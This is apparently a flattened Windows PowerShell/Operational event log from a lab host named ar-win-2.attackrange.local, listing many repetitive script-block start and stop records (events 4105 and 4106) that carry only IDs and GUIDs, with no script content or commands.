410515102150x0667548Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667547Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667546Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667545Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667544Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667543Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667542Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667541Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667540Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667539Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667538Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667537Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667536Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667535Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667534Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667533Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667532Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667531Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667530Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667529Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667528Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667527Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667526Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667525Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667524Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667523Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667522Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667521Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667520Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667519Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667518Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667517Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667516Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667515Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667514Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667513Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667512Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667511Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667510Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667509Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667508Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667507Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667506Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667505Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667504Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667503Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667502Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667501Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667500Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667499Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667498Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667497Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667496Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667495Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667494Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667493Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667492Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667491Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667490Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667489Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667488Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667487Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667486Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667485Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667484Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667483Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667482Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667481Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667480Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667479Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667478Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667477Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667476Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667475Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667474Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667473Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667472Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667471Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667470Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667469Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667468Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667467Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667466Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667465Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667464Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667463Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667462Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667461Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667460Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667459Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667458Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667457Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667456Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667455Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667454Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667453Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667452Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667451Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667450Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667449Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667448Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667447Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667446Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667445Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667444Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667443Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667442Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667441Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667440Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667439Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667438Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667437Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667436Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667435Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667434Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667433Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667432Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667431Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667430Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667429Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667428Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667427Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667426Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667425Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667424Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667423Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667422Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667421Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667420Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667419Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667418Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667417Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667416Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667415Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667414Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667413Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667412Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667411Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667410Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667409Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667408Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667407Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667406Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667405Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667404Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667403Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667402Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667401Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667400Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667399Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667398Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667397Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667396Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667395Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667394Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667393Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667392Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667391Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667390Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667389Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667388Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667387Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667386Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 